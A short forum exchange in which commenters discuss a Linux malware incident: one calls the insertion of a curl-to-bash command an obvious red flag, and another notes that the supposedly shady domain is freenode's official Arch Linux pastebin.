So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.

Not much to see here, fortunately.

that "shady" domain is the official pastebin for freenode's Arch Linux IRC channel
